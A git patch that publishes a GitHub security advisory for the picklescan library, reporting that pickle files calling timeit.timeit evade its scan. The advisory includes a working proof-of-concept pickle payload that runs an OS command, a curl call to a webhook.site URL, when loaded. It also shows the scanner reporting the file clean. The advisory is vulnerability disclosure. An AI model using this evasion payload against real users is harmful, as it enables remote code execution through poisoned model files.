From 1f8cc35eb29af542742001315c3c3c74476214d7 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
 <45398580+advisory-database[bot]@users.noreply.github.com>
Date: Mon, 7 Apr 2025 19:39:17 +0000
Subject: [PATCH] Publish GHSA-v7x6-rv5q-mhwc

---
 .../GHSA-v7x6-rv5q-mhwc.json                  | 63 +++++++++++++++++++
 1 file changed, 63 insertions(+)
 create mode 100644 advisories/github-reviewed/2025/04/GHSA-v7x6-rv5q-mhwc/GHSA-v7x6-rv5q-mhwc.json

diff --git a/advisories/github-reviewed/2025/04/GHSA-v7x6-rv5q-mhwc/GHSA-v7x6-rv5q-mhwc.json b/advisories/github-reviewed/2025/04/GHSA-v7x6-rv5q-mhwc/GHSA-v7x6-rv5q-mhwc.json
new file mode 100644
index 00000000000..0ab2e21ebdc
--- /dev/null
+++ b/advisories/github-reviewed/2025/04/GHSA-v7x6-rv5q-mhwc/GHSA-v7x6-rv5q-mhwc.json
@@ -0,0 +1,63 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-v7x6-rv5q-mhwc",
+  "modified": "2025-04-07T19:37:22Z",
+  "published": "2025-04-07T19:37:21Z",
+  "aliases": [],
+  "summary": "Picklescan missing detection when calling built-in python library function timeit.timeit()",
+  "details": "### Summary\nUsing timeit.timeit() function, which is a built-in python library function to execute remote pickle file.\n\n### Details\nPickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like **timeit.timeit()**. And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to **timeit.timeit()** function from timeit library in __reduce__ method\nThen, inside reduce method, the attacker import dangerous libarary like os and calling **os.system()** to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit()\n```\nimport pickle\nimport timeit\nclass Payload(object):\n    def __reduce__(self):\n        return timeit.timeit, ('','import os; os.system(\"curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6\")')\ndef create_payload():\n  with open('payload.pickle', 'wb') as f:\n    pickle.dump(Payload(), f)\ncreate_payload()\n```\nThen the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load()\n2. The victim will use picklescan library to check out if the received pickle file is malicious or not\n```\npicklescan -p payload.pickle\n----------- SCAN SUMMARY -----------\nScanned files: 1\nInfected files: 0\nDangerous globals: 0\n```\n3. Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command)\n```\nimport pickle\ndef load_payload():\n    with open('payload.pickle', 'rb') as f:\n      pickle.load(f)\nload_payload()\n```\n### Impact\nSeverity: High\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n### Recommended Solution\nI suggest adding timeit library to the unsafe globals blacklist.",
+  "severity": [
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "PyPI",
+        "name": "picklescan"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "0.0.25"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-v7x6-rv5q-mhwc"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/mmaitre314/picklescan/pull/40"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/mmaitre314/picklescan"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.25"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-184"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": true,
+    "github_reviewed_at": "2025-04-07T19:37:21Z",
+    "nvd_published_at": null
+  }
+}
\ No newline at end of file